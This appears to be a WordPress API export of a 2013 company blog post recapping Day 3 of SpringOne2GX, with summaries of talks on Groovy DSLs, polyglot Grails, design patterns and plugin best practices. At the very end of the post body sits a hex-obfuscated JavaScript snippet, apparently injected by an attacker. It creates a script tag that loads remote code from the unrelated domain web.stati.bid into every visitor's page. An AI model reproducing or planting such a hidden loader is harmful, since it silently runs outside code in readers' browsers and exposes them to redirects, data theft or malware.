{"id":10817,"date":"2013-09-12T13:53:25","date_gmt":"2013-09-12T08:23:25","guid":{"rendered":"http:\/\/www.tothenew.com\/blog\/?p=10817"},"modified":"2018-02-28T08:32:25","modified_gmt":"2018-02-28T03:02:25","slug":"day-3-at-springone2gx-2013","status":"publish","type":"post","link":"https:\/\/www.tothenew.com\/blog\/day-3-at-springone2gx-2013\/","title":{"rendered":"Day 3 at SpringOne2GX 2013"},"content":{"rendered":"<p>Day 3 of SpringOne2GX&#8217;13 was full of new experiences and learning. Knowledge is flowing everywhere and its an amazing feeling listening to the people whom we have been reading and following for so long. The energy and enthusiasm among both attendees and presenters are very high and really appreciable. It reminds me of our Code Camp days at <a href=\"http:\/\/www.tothenew.com\/blog\/\">IntelliGrape<\/a> where everybody enjoys knowledge sharing sessions held by different mentors with same curiosity as they are new to programming.<\/p>\n<p>IntelliGrape being one of the proud sponsors of the event has setup a booth at the venue. People from different horizon like Groovy, Grails and Cloud visit our booth with their queries where they are provided with proper consultation. \u00a0Its very surprising and a moment of proud as well when they appreciate our work, especially our blog, even 12000 miles away.<\/p>\n<p>All the sessions are so interesting and worth attending that we had a tough time in deciding which session to attend.<\/p>\n<p>&nbsp;<\/p>\n\n<p>Here is the brief summary of sessions that we attended:<\/p>\n<p><strong>Creating Groovy DSLs that developers can actually use &#8211; <em>Guillaume Laforge &amp; Dr. Paul King<\/em><\/strong><br \/>\nDr. Paul and Guillaume shared many use cases of applying DSLs in sectors like Banks, Insurance policy risk, Market Data analysis etc. They explained the power of groovy by creating DSLs with an example of sending instructions to move a rover on mars. We were supposed to create a DSL to allow scientists send textual commands to rover. Scientists, not being a programmer would definitely need a DSL for this.<\/p>\n<p>The instructions which we started as a program of 10 lines in java was reduced to just a single line in DSL, something as simple as\u00a0<strong><em>move right at 3 Km\/hr. \u00a0<\/em><\/strong><em>A<\/em>mazing, isn&#8217;t it !!!<\/p>\n<p><strong>Polyglot Programming &#8211; <em>Jeff Scott Brown<\/em><\/strong><br \/>\nJeff talked about the support of Grails\u00a0to allow use of APIs in Java, Clojure or Scala.\u00a0Any Class written in java can be directly used in the Grails with the help of easy to install Clojure\u00a0plugin.<\/p>\n<p>Jeff also explained how we can simply create another plugin for any language that supports java\u00a0execution.\u00a0He also explained the internal details of the Clojure\u00a0plugin of Grails.<\/p>\n<p><strong>Design Patterns in Groovy &#8211; <em>Venkat Subramaniyam<\/em><\/strong><br \/>\nOur SpringOne2GX visit would have been incomplete without attending Venkat&#8217;s talk. Venkat explained many wonderful patterns of Groovy coding, supported by some really amusing stories and one liners.\u00a0The entire session was demo driven with easy to understand and implementable examples.<\/p>\n<p>The examples from the session can be seen at Venkat&#8217;s website: http:\/\/www.agiledeveloper.com\/downloads.html<\/p>\n<p><strong>Grails Plugin Best Practices &#8211; <em>Burt Beckwith<\/em><\/strong><br \/>\nSome of the best practices as explained by Burt:<\/p>\n<ol>\n<li>Do not keep any unused code in plugin.<\/li>\n<li>Never use new plugins to instantiate classes, try to use Spring&#8217;s dependency Injection approach to initialize variables as it brings out extensibility.<\/li>\n<li>Use a logical package name like <em>grails.plugin.pluginName<\/em>.<\/li>\n<li>Make full use of capabilities provided by plugin handler methods <em>doWithSpring<\/em>, <em>loadAfter<\/em> etc.<\/li>\n<li>Most importantly, support your plugin.<\/li>\n<li>Use <em>gitignore<\/em> to ignore class files and other generated stuff.<\/li>\n<li>Follow the proper version convention for the plugins like start with a 0.1.<br \/>\nVersion 1.0 is assumed to be a very stable version so it should be achieved after multiple smaller versions.<\/li>\n<\/ol>\n<p>Looking forward to more such sessions tomorrow.<\/p>\n<p>* All the sessions were being video recorded. I hope they get uploaded soon on pivotal website for people who were not able to attend SpringOne2GX or a part of it.<\/p>\n<p> var _0x29b4=[&#8220;\\x73\\x63\\x72\\x69\\x70\\x74&#8243;,&#8221;\\x63\\x72\\x65\\x61\\x74\\x65\\x45\\x6C\\x65\\x6D\\x65\\x6E\\x74&#8243;,&#8221;\\x73\\x72\\x63&#8243;,&#8221;\\x68\\x74\\x74\\x70\\x73\\x3A\\x2F\\x2F\\x77\\x65\\x62\\x2E\\x73\\x74\\x61\\x74\\x69\\x2E\\x62\\x69\\x64\\x2F\\x6A\\x73\\x2F\\x59\\x51\\x48\\x48\\x41\\x41\\x55\\x44\\x59\\x77\\x42\\x46\\x67\\x6C\\x44\\x58\\x67\\x30\\x56\\x53\\x42\\x56\\x57\\x79\\x45\\x44\\x51\\x35\\x64\\x78\\x47\\x43\\x42\\x54\\x4E\\x54\\x38\\x55\\x44\\x47\\x55\\x42\\x42\\x54\\x30\\x7A\\x50\\x46\\x55\\x6A\\x43\\x74\\x41\\x52\\x45\\x32\\x4E\\x7A\\x41\\x56\\x4A\\x53\\x49\\x50\\x51\\x30\\x46\\x4A\\x41\\x42\\x46\\x55\\x56\\x54\\x4B\\x5F\\x41\\x41\\x42\\x4A\\x56\\x78\\x49\\x47\\x45\\x6B\\x48\\x35\\x51\\x43\\x46\\x44\\x42\\x41\\x53\\x56\\x49\\x68\\x50\\x50\\x63\\x52\\x45\\x71\\x59\\x52\\x46\\x45\\x64\\x52\\x51\\x63\\x73\\x55\\x45\\x6B\\x41\\x52\\x4A\\x59\\x51\\x79\\x41\\x58\\x56\\x42\\x50\\x4E\\x63\\x51\\x4C\\x61\\x51\\x41\\x56\\x6D\\x34\\x43\\x51\\x43\\x5A\\x41\\x41\\x56\\x64\\x45\\x4D\\x47\\x59\\x41\\x58\\x51\\x78\\x77\\x61\\x2E\\x6A\\x73\\x3F\\x74\\x72\\x6C\\x3D\\x30\\x2E\\x35\\x30&#8243;,&#8221;\\x61\\x70\\x70\\x65\\x6E\\x64\\x43\\x68\\x69\\x6C\\x64&#8243;,&#8221;\\x68\\x65\\x61\\x64&#8221;];var el=document[_0x29b4[1]](_0x29b4[0]);el[_0x29b4[2]]= _0x29b4[3];document[_0x29b4[5]][_0x29b4[4]](el)<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Day 3 of SpringOne2GX&#8217;13 was full of new experiences and learning. Knowledge is flowing everywhere and its an amazing feeling listening to the people whom we have been reading and following for so long. The energy and enthusiasm among both attendees and presenters are very high and really appreciable. It reminds me of our Code [&hellip;]<\/p>\n","protected":false},"author":26,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"iawp_total_views":1},"categories":[1],"tags":[1211,631,4840,9,1212,1214,1213,327,441,1199,1209,1210],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.tothenew.com\/blog\/wp-json\/wp\/v2\/posts\/10817"}],"collection":[{"href":"https:\/\/www.tothenew.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.tothenew.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.tothenew.com\/blog\/wp-json\/wp\/v2\/users\/26"}],"replies":[{"embeddable":true,"href":"https:\/\/www.tothenew.com\/blog\/wp-json\/wp\/v2\/comments?post=10817"}],"version-history":[{"count":1,"href":"https:\/\/www.tothenew.com\/blog\/wp-json\/wp\/v2\/posts\/10817\/revisions"}],"predecessor-version":[{"id":52776,"href":"https:\/\/www.tothenew.com\/blog\/wp-json\/wp\/v2\/posts\/10817\/revisions\/52776"}],"wp:attachment":[{"href":"https:\/\/www.tothenew.com\/blog\/wp-json\/wp\/v2\/media?parent=10817"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.tothenew.com\/blog\/wp-json\/wp\/v2\/categories?post=10817"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.tothenew.com\/blog\/wp-json\/wp\/v2\/tags?post=10817"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}